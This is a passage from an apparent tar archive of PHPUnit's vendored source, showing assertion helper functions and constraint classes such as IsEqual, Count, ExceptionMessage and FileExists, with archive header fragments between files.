containsEqual($value): TraversableContainsEqual { return Assert::containsEqual(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\containsIdentical')) { function containsIdentical($value): TraversableContainsIdentical { return Assert::containsIdentical(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\containsOnly')) { function containsOnly(string $type): TraversableContainsOnly { return Assert::containsOnly(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\containsOnlyInstancesOf')) { function containsOnlyInstancesOf(string $className): TraversableContainsOnly { return Assert::containsOnlyInstancesOf(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\arrayHasKey')) { function arrayHasKey($key): ArrayHasKey { return Assert::arrayHasKey(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\equalTo')) { function equalTo($value): IsEqual { return Assert::equalTo(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\equalToCanonicalizing')) { function equalToCanonicalizing($value): IsEqualCanonicalizing { return Assert::equalToCanonicalizing(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\equalToIgnoringCase')) { function equalToIgnoringCase($value): IsEqualIgnoringCase { return Assert::equalToIgnoringCase(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\equalToWithDelta')) { function equalToWithDelta($value, float $delta): IsEqualWithDelta { return Assert::equalToWithDelta(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\isEmpty')) { function isEmpty(): IsEmpty { return Assert::isEmpty(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\isWritable')) { function isWritable(): IsWritable { return Assert::isWritable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\isReadable')) { function isReadable(): IsReadable { return Assert::isReadable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\directoryExists')) { function directoryExists(): DirectoryExists { return Assert::directoryExists(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\fileExists')) { function fileExists(): FileExists { return Assert::fileExists(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\greaterThan')) { function greaterThan($value): GreaterThan { return Assert::greaterThan(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\greaterThanOrEqual')) { function greaterThanOrEqual($value): LogicalOr { return Assert::greaterThanOrEqual(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\classHasAttribute')) { function classHasAttribute(string $attributeName): ClassHasAttribute { return Assert::classHasAttribute(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\classHasStaticAttribute')) { function classHasStaticAttribute(string $attributeName): ClassHasStaticAttribute { return Assert::classHasStaticAttribute(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\objectHasAttribute')) { function objectHasAttribute($attributeName): ObjectHasAttribute { return Assert::objectHasAttribute(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\identicalTo')) { function identicalTo($value): IsIdentical { return Assert::identicalTo(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\isInstanceOf')) { function isInstanceOf(string $className): IsInstanceOf { return Assert::isInstanceOf(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\isType')) { function isType(string $type): IsType { return Assert::isType(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\lessThan')) { function lessThan($value): LessThan { return Assert::lessThan(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\lessThanOrEqual')) { function lessThanOrEqual($value): LogicalOr { return Assert::lessThanOrEqual(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\matchesRegularExpression')) { function matchesRegularExpression(string $pattern): RegularExpression { return Assert::matchesRegularExpression(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\matches')) { function matches(string $string): StringMatchesFormatDescription { return Assert::matches(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\stringStartsWith')) { function stringStartsWith($prefix): StringStartsWith { return Assert::stringStartsWith(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\stringContains')) { function stringContains(string $string, bool $case = true): StringContains { return Assert::stringContains(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\stringEndsWith')) { function stringEndsWith(string $suffix): StringEndsWith { return Assert::stringEndsWith(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\countOf')) { function countOf(int $count): Count { return Assert::countOf(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\objectEquals')) { function objectEquals(object $object, string $method = 'equals'): ObjectEquals { return Assert::objectEquals(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\any')) { /** * Returns a matcher that matches when the method is executed * zero or more times. */ function any(): AnyInvokedCountMatcher { return new AnyInvokedCountMatcher; } } if (!function_exists('PHPUnit\Framework\never')) { /** * Returns a matcher that matches when the method is never executed. */ function never(): InvokedCountMatcher { return new InvokedCountMatcher(0); } } if (!function_exists('PHPUnit\Framework\atLeast')) { /** * Returns a matcher that matches when the method is executed * at least N times. */ function atLeast(int $requiredInvocations): InvokedAtLeastCountMatcher { return new InvokedAtLeastCountMatcher( $requiredInvocations ); } } if (!function_exists('PHPUnit\Framework\atLeastOnce')) { /** * Returns a matcher that matches when the method is executed at least once. */ function atLeastOnce(): InvokedAtLeastOnceMatcher { return new InvokedAtLeastOnceMatcher; } } if (!function_exists('PHPUnit\Framework\once')) { /** * Returns a matcher that matches when the method is executed exactly once. */ function once(): InvokedCountMatcher { return new InvokedCountMatcher(1); } } if (!function_exists('PHPUnit\Framework\exactly')) { /** * Returns a matcher that matches when the method is executed * exactly $count times. */ function exactly(int $count): InvokedCountMatcher { return new InvokedCountMatcher($count); } } if (!function_exists('PHPUnit\Framework\atMost')) { /** * Returns a matcher that matches when the method is executed * at most N times. */ function atMost(int $allowedInvocations): InvokedAtMostCountMatcher { return new InvokedAtMostCountMatcher($allowedInvocations); } } if (!function_exists('PHPUnit\Framework\at')) { /** * Returns a matcher that matches when the method is executed * at the given index. */ function at(int $index): InvokedAtIndexMatcher { return new InvokedAtIndexMatcher($index); } } if (!function_exists('PHPUnit\Framework\returnValue')) { function returnValue($value): ReturnStub { return new ReturnStub($value); } } if (!function_exists('PHPUnit\Framework\returnValueMap')) { function returnValueMap(array $valueMap): ReturnValueMapStub { return new ReturnValueMapStub($valueMap); } } if (!function_exists('PHPUnit\Framework\returnArgument')) { function returnArgument(int $argumentIndex): ReturnArgumentStub { return new ReturnArgumentStub($argumentIndex); } } if (!function_exists('PHPUnit\Framework\returnCallback')) { function returnCallback($callback): ReturnCallbackStub { return new ReturnCallbackStub($callback); } } if (!function_exists('PHPUnit\Framework\returnSelf')) { /** * Returns the current object. * * This method is useful when mocking a fluent interface. */ function returnSelf(): ReturnSelfStub { return new ReturnSelfStub; } } if (!function_exists('PHPUnit\Framework\throwException')) { function throwException(Throwable $exception): ExceptionStub { return new ExceptionStub($exception); } } if (!function_exists('PHPUnit\Framework\onConsecutiveCalls')) { function onConsecutiveCalls(): ConsecutiveCallsStub { $args = func_get_args(); return new ConsecutiveCallsStub($args); } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/Boolean/IsFalse.php000064400000001570147577714370024620 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class IsFalse extends Constraint { /** * Returns a string representation of the constraint. */ public function toString(): string { return 'is false'; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @param mixed $other value or object to evaluate */ protected function matches($other): bool { return $other === false; } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/Boolean/IsTrue.php000064400000001565147577714370024511 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class IsTrue extends Constraint { /** * Returns a string representation of the constraint. */ public function toString(): string { return 'is true'; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @param mixed $other value or object to evaluate */ protected function matches($other): bool { return $other === true; } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/Cardinality/LessThan.php000064400000002276147577714370025703 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class LessThan extends Constraint { /** * @var float|int */ private $value; /** * @param float|int $value */ public function __construct($value) { $this->value = $value; } /** * Returns a string representation of the constraint. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ public function toString(): string { return 'is less than ' . $this->exporter()->export($this->value); } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @param mixed $other value or object to evaluate */ protected function matches($other): bool { return $this->value > $other; } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/Cardinality/Count.php000064400000007007147577714370025247 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function count; use function is_array; use function iterator_count; use function sprintf; use Countable; use EmptyIterator; use Generator; use Iterator; use IteratorAggregate; use PHPUnit\Framework\Exception; use Traversable; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ class Count extends Constraint { /** * @var int */ private $expectedCount; public function __construct(int $expected) { $this->expectedCount = $expected; } public function toString(): string { return sprintf( 'count matches %d', $this->expectedCount ); } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @throws Exception */ protected function matches($other): bool { return $this->expectedCount === $this->getCountOf($other); } /** * @throws Exception */ protected function getCountOf($other): ?int { if ($other instanceof Countable || is_array($other)) { return count($other); } if ($other instanceof EmptyIterator) { return 0; } if ($other instanceof Traversable) { while ($other instanceof IteratorAggregate) { try { $other = $other->getIterator(); } catch (\Exception $e) { throw new Exception( $e->getMessage(), $e->getCode(), $e ); } } $iterator = $other; if ($iterator instanceof Generator) { return $this->getCountOfGenerator($iterator); } if (!$iterator instanceof Iterator) { return iterator_count($iterator); } $key = $iterator->key(); $count = iterator_count($iterator); // Manually rewind $iterator to previous key, since iterator_count // moves pointer. if ($key !== null) { $iterator->rewind(); while ($iterator->valid() && $key !== $iterator->key()) { $iterator->next(); } } return $count; } return null; } /** * Returns the total number of iterations from a generator. * This will fully exhaust the generator. */ protected function getCountOfGenerator(Generator $generator): int { for ($count = 0; $generator->valid(); $generator->next()) { $count++; } return $count; } /** * Returns the description of the failure. * * The beginning of failure messages is "Failed asserting that" in most * cases. This method should return the second part of that sentence. * * @param mixed $other evaluated value or object */ protected function failureDescription($other): string { return sprintf( 'actual size %d matches expected size %d', (int) $this->getCountOf($other), $this->expectedCount ); } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/Cardinality/IsEmpty.php000064400000003332147577714370025546 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function count; use function gettype; use function sprintf; use function strpos; use Countable; use EmptyIterator; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class IsEmpty extends Constraint { /** * Returns a string representation of the constraint. */ public function toString(): string { return 'is empty'; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @param mixed $other value or object to evaluate */ protected function matches($other): bool { if ($other instanceof EmptyIterator) { return true; } if ($other instanceof Countable) { return count($other) === 0; } return empty($other); } /** * Returns the description of the failure. * * The beginning of failure messages is "Failed asserting that" in most * cases. This method should return the second part of that sentence. * * @param mixed $other evaluated value or object */ protected function failureDescription($other): string { $type = gettype($other); return sprintf( '%s %s %s', strpos($type, 'a') === 0 || strpos($type, 'o') === 0 ? 'an' : 'a', $type, $this->toString() ); } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/Cardinality/GreaterThan.php000064400000002304147577714370026356 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class GreaterThan extends Constraint { /** * @var float|int */ private $value; /** * @param float|int $value */ public function __construct($value) { $this->value = $value; } /** * Returns a string representation of the constraint. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ public function toString(): string { return 'is greater than ' . $this->exporter()->export($this->value); } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @param mixed $other value or object to evaluate */ protected function matches($other): bool { return $this->value < $other; } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/Cardinality/SameSize.php000064400000001077147577714370025700 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class SameSize extends Count { public function __construct(iterable $expected) { parent::__construct((int) $this->getCountOf($expected)); } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/Equality/IsEqualIgnoringCase.php000064400000005602147577714370027344 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function is_string; use function sprintf; use function strpos; use function trim; use PHPUnit\Framework\ExpectationFailedException; use SebastianBergmann\Comparator\ComparisonFailure; use SebastianBergmann\Comparator\Factory as ComparatorFactory; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class IsEqualIgnoringCase extends Constraint { /** * @var mixed */ private $value; public function __construct($value) { $this->value = $value; } /** * Evaluates the constraint for parameter $other. * * If $returnResult is set to false (the default), an exception is thrown * in case of a failure. null is returned otherwise. * * If $returnResult is true, the result of the evaluation is returned as * a boolean value instead: true in case of success, false in case of a * failure. * * @throws ExpectationFailedException */ public function evaluate($other, string $description = '', bool $returnResult = false): ?bool { // If $this->value and $other are identical, they are also equal. // This is the most common path and will allow us to skip // initialization of all the comparators. if ($this->value === $other) { return true; } $comparatorFactory = ComparatorFactory::getInstance(); try { $comparator = $comparatorFactory->getComparatorFor( $this->value, $other ); $comparator->assertEquals( $this->value, $other, 0.0, false, true ); } catch (ComparisonFailure $f) { if ($returnResult) { return false; } throw new ExpectationFailedException( trim($description . "\n" . $f->getMessage()), $f ); } return true; } /** * Returns a string representation of the constraint. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ public function toString(): string { if (is_string($this->value)) { if (strpos($this->value, "\n") !== false) { return 'is equal to '; } return sprintf( "is equal to '%s'", $this->value ); } return sprintf( 'is equal to %s', $this->exporter()->export($this->value) ); } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/Equality/IsEqualCanonicalizing.php000064400000005604147577714370027726 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function is_string; use function sprintf; use function strpos; use function trim; use PHPUnit\Framework\ExpectationFailedException; use SebastianBergmann\Comparator\ComparisonFailure; use SebastianBergmann\Comparator\Factory as ComparatorFactory; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class IsEqualCanonicalizing extends Constraint { /** * @var mixed */ private $value; public function __construct($value) { $this->value = $value; } /** * Evaluates the constraint for parameter $other. * * If $returnResult is set to false (the default), an exception is thrown * in case of a failure. null is returned otherwise. * * If $returnResult is true, the result of the evaluation is returned as * a boolean value instead: true in case of success, false in case of a * failure. * * @throws ExpectationFailedException */ public function evaluate($other, string $description = '', bool $returnResult = false): ?bool { // If $this->value and $other are identical, they are also equal. // This is the most common path and will allow us to skip // initialization of all the comparators. if ($this->value === $other) { return true; } $comparatorFactory = ComparatorFactory::getInstance(); try { $comparator = $comparatorFactory->getComparatorFor( $this->value, $other ); $comparator->assertEquals( $this->value, $other, 0.0, true, false ); } catch (ComparisonFailure $f) { if ($returnResult) { return false; } throw new ExpectationFailedException( trim($description . "\n" . $f->getMessage()), $f ); } return true; } /** * Returns a string representation of the constraint. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ public function toString(): string { if (is_string($this->value)) { if (strpos($this->value, "\n") !== false) { return 'is equal to '; } return sprintf( "is equal to '%s'", $this->value ); } return sprintf( 'is equal to %s', $this->exporter()->export($this->value) ); } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/Equality/IsEqualWithDelta.php000064400000005253147577714370026663 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function sprintf; use function trim; use PHPUnit\Framework\ExpectationFailedException; use SebastianBergmann\Comparator\ComparisonFailure; use SebastianBergmann\Comparator\Factory as ComparatorFactory; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class IsEqualWithDelta extends Constraint { /** * @var mixed */ private $value; /** * @var float */ private $delta; public function __construct($value, float $delta) { $this->value = $value; $this->delta = $delta; } /** * Evaluates the constraint for parameter $other. * * If $returnResult is set to false (the default), an exception is thrown * in case of a failure. null is returned otherwise. * * If $returnResult is true, the result of the evaluation is returned as * a boolean value instead: true in case of success, false in case of a * failure. * * @throws ExpectationFailedException */ public function evaluate($other, string $description = '', bool $returnResult = false): ?bool { // If $this->value and $other are identical, they are also equal. // This is the most common path and will allow us to skip // initialization of all the comparators. if ($this->value === $other) { return true; } $comparatorFactory = ComparatorFactory::getInstance(); try { $comparator = $comparatorFactory->getComparatorFor( $this->value, $other ); $comparator->assertEquals( $this->value, $other, $this->delta ); } catch (ComparisonFailure $f) { if ($returnResult) { return false; } throw new ExpectationFailedException( trim($description . "\n" . $f->getMessage()), $f ); } return true; } /** * Returns a string representation of the constraint. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ public function toString(): string { return sprintf( 'is equal to %s with delta <%F>>', $this->exporter()->export($this->value), $this->delta ); } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/Equality/IsEqual.php000064400000006771147577714370025063 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function is_string; use function sprintf; use function strpos; use function trim; use PHPUnit\Framework\ExpectationFailedException; use SebastianBergmann\Comparator\ComparisonFailure; use SebastianBergmann\Comparator\Factory as ComparatorFactory; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class IsEqual extends Constraint { /** * @var mixed */ private $value; /** * @var float */ private $delta; /** * @var bool */ private $canonicalize; /** * @var bool */ private $ignoreCase; public function __construct($value, float $delta = 0.0, bool $canonicalize = false, bool $ignoreCase = false) { $this->value = $value; $this->delta = $delta; $this->canonicalize = $canonicalize; $this->ignoreCase = $ignoreCase; } /** * Evaluates the constraint for parameter $other. * * If $returnResult is set to false (the default), an exception is thrown * in case of a failure. null is returned otherwise. * * If $returnResult is true, the result of the evaluation is returned as * a boolean value instead: true in case of success, false in case of a * failure. * * @throws ExpectationFailedException * * @return bool */ public function evaluate($other, string $description = '', bool $returnResult = false): ?bool { // If $this->value and $other are identical, they are also equal. // This is the most common path and will allow us to skip // initialization of all the comparators. if ($this->value === $other) { return true; } $comparatorFactory = ComparatorFactory::getInstance(); try { $comparator = $comparatorFactory->getComparatorFor( $this->value, $other ); $comparator->assertEquals( $this->value, $other, $this->delta, $this->canonicalize, $this->ignoreCase ); } catch (ComparisonFailure $f) { if ($returnResult) { return false; } throw new ExpectationFailedException( trim($description . "\n" . $f->getMessage()), $f ); } return true; } /** * Returns a string representation of the constraint. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ public function toString(): string { $delta = ''; if (is_string($this->value)) { if (strpos($this->value, "\n") !== false) { return 'is equal to '; } return sprintf( "is equal to '%s'", $this->value ); } if ($this->delta != 0) { $delta = sprintf( ' with delta <%F>', $this->delta ); } return sprintf( 'is equal to %s%s', $this->exporter()->export($this->value), $delta ); } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/Exception/ExceptionMessage.php000064400000003737147577714370027123 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function sprintf; use function strpos; use Throwable; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class ExceptionMessage extends Constraint { /** * @var string */ private $expectedMessage; public function __construct(string $expected) { $this->expectedMessage = $expected; } public function toString(): string { if ($this->expectedMessage === '') { return 'exception message is empty'; } return 'exception message contains '; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @param Throwable $other */ protected function matches($other): bool { if ($this->expectedMessage === '') { return $other->getMessage() === ''; } return strpos((string) $other->getMessage(), $this->expectedMessage) !== false; } /** * Returns the description of the failure. * * The beginning of failure messages is "Failed asserting that" in most * cases. This method should return the second part of that sentence. * * @param mixed $other evaluated value or object */ protected function failureDescription($other): string { if ($this->expectedMessage === '') { return sprintf( "exception message is empty but is '%s'", $other->getMessage() ); } return sprintf( "exception message '%s' contains '%s'", $other->getMessage(), $this->expectedMessage ); } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/Exception/ExceptionCode.php000064400000003321147577714370026376 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function sprintf; use Throwable; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class ExceptionCode extends Constraint { /** * @var int|string */ private $expectedCode; /** * @param int|string $expected */ public function __construct($expected) { $this->expectedCode = $expected; } public function toString(): string { return 'exception code is '; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @param Throwable $other */ protected function matches($other): bool { return (string) $other->getCode() === (string) $this->expectedCode; } /** * Returns the description of the failure. * * The beginning of failure messages is "Failed asserting that" in most * cases. This method should return the second part of that sentence. * * @param mixed $other evaluated value or object * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ protected function failureDescription($other): string { return sprintf( '%s is equal to expected exception code %s', $this->exporter()->export($other->getCode()), $this->exporter()->export($this->expectedCode) ); } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/Exception/Exception.php000064400000004213147577714370025604 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function get_class; use function sprintf; use PHPUnit\Util\Filter; use Throwable; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class Exception extends Constraint { /** * @var string */ private $className; public function __construct(string $className) { $this->className = $className; } /** * Returns a string representation of the constraint. */ public function toString(): string { return sprintf( 'exception of type "%s"', $this->className ); } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @param mixed $other value or object to evaluate */ protected function matches($other): bool { return $other instanceof $this->className; } /** * Returns the description of the failure. * * The beginning of failure messages is "Failed asserting that" in most * cases. This method should return the second part of that sentence. * * @param mixed $other evaluated value or object */ protected function failureDescription($other): string { if ($other !== null) { $message = ''; if ($other instanceof Throwable) { $message = '. Message was: "' . $other->getMessage() . '" at' . "\n" . Filter::getFilteredStacktrace($other); } return sprintf( 'exception of type "%s" matches expected exception "%s"%s', get_class($other), $this->className, $message ); } return sprintf( 'exception of type "%s" is thrown', $this->className ); } } vendor/phpunit/phpunit/src/Framework/Constraint/Exception/ExceptionMessageRegularExpression.php000064400000003762147577714370032444 0ustar00res/readability * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function sprintf; use Exception; use PHPUnit\Util\RegularExpression as RegularExpressionUtil; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class ExceptionMessageRegularExpression extends Constraint { /** * @var string */ private $expectedMessageRegExp; public function __construct(string $expected) { $this->expectedMessageRegExp = $expected; } public function toString(): string { return 'exception message matches '; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @param \PHPUnit\Framework\Exception $other * * @throws \PHPUnit\Framework\Exception * @throws Exception */ protected function matches($other): bool { $match = RegularExpressionUtil::safeMatch($this->expectedMessageRegExp, $other->getMessage()); if ($match === false) { throw new \PHPUnit\Framework\Exception( "Invalid expected exception message regex given: '{$this->expectedMessageRegExp}'" ); } return $match === 1; } /** * Returns the description of the failure. * * The beginning of failure messages is "Failed asserting that" in most * cases. This method should return the second part of that sentence. * * @param mixed $other evaluated value or object */ protected function failureDescription($other): string { return sprintf( "exception message '%s' matches '%s'", $other->getMessage(), $this->expectedMessageRegExp ); } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/Filesystem/IsWritable.php000064400000002547147577714370026111 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function is_writable; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class IsWritable extends Constraint { /** * Returns a string representation of the constraint. */ public function toString(): string { return 'is writable'; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @param mixed $other value or object to evaluate */ protected function matches($other): bool { return is_writable($other); } /** * Returns the description of the failure. * * The beginning of failure messages is "Failed asserting that" in most * cases. This method should return the second part of that sentence. * * @param mixed $other evaluated value or object */ protected function failureDescription($other): string { return sprintf( '"%s" is writable', $other ); } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/Filesystem/DirectoryExists.php000064400000002554147577714370027206 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function is_dir; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class DirectoryExists extends Constraint { /** * Returns a string representation of the constraint. */ public function toString(): string { return 'directory exists'; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @param mixed $other value or object to evaluate */ protected function matches($other): bool { return is_dir($other); } /** * Returns the description of the failure. * * The beginning of failure messages is "Failed asserting that" in most * cases. This method should return the second part of that sentence. * * @param mixed $other evaluated value or object */ protected function failureDescription($other): string { return sprintf( 'directory "%s" exists', $other ); } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/Filesystem/FileExists.php000064400000002547147577714370026123 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function file_exists; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class FileExists extends Constraint { /** * Returns a string representation of the constraint. */ public function toString(): string { return 'file exists'; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @param mixed $other value or object to evaluate */ protected function matches($other): bool { return file_exists($other); } /** * Returns the description of the failure. * * The beginning of failure messages is "Failed asserting that" in most * cases. This method should return the second part of that sentence. * * @param mixed $other evaluated value or object */ protected function failureDescription($other): string { return sprintf( 'file "%s" exists', $other ); } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/Filesystem/IsReadable.php000064400000002547147577714370026037 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function is_readable; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class IsReadable extends Constraint { /** * Returns a string representation of the constraint. */ public function toString(): string { return 'is readable'; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @param mixed $other value or object to evaluate */ protected function matches($other): bool { return is_readable($other); } /** * Returns the description of the failure. * * The beginning of failure messages is "Failed asserting that" in most * cases. This method should return the second part of that sentence. * * @param mixed $other evaluated value or object */ protected function failureDescription($other): string { return sprintf( '"%s" is readable', $other ); } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/Math/IsNan.php000064400000001610147577714370023607 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function is_nan; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class IsNan extends Constraint { /** * Returns a string representation of the constraint. */ public function toString(): string { return 'is nan'; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @param mixed $other value or object to evaluate */ protected function matches($other): bool { return is_nan($other); } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/Math/IsInfinite.php000064400000001634147577714370024646 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function is_infinite; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class IsInfinite extends Constraint { /** * Returns a string representation of the constraint. */ public function toString(): string { return 'is infinite'; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @param mixed $other value or object to evaluate */ protected function matches($other): bool { return is_infinite($other); } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/Math/IsFinite.php000064400000001624147577714370024316 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function is_finite; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class IsFinite extends Constraint { /** * Returns a string representation of the constraint. */ public function toString(): string { return 'is finite'; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @param mixed $other value or object to evaluate */ protected function matches($other): bool { return is_finite($other); } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/Object/ObjectEquals.php000064400000010654147577714370025505 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function get_class; use function is_object; use PHPUnit\Framework\ActualValueIsNotAnObjectException; use PHPUnit\Framework\ComparisonMethodDoesNotAcceptParameterTypeException; use PHPUnit\Framework\ComparisonMethodDoesNotDeclareBoolReturnTypeException; use PHPUnit\Framework\ComparisonMethodDoesNotDeclareExactlyOneParameterException; use PHPUnit\Framework\ComparisonMethodDoesNotDeclareParameterTypeException; use 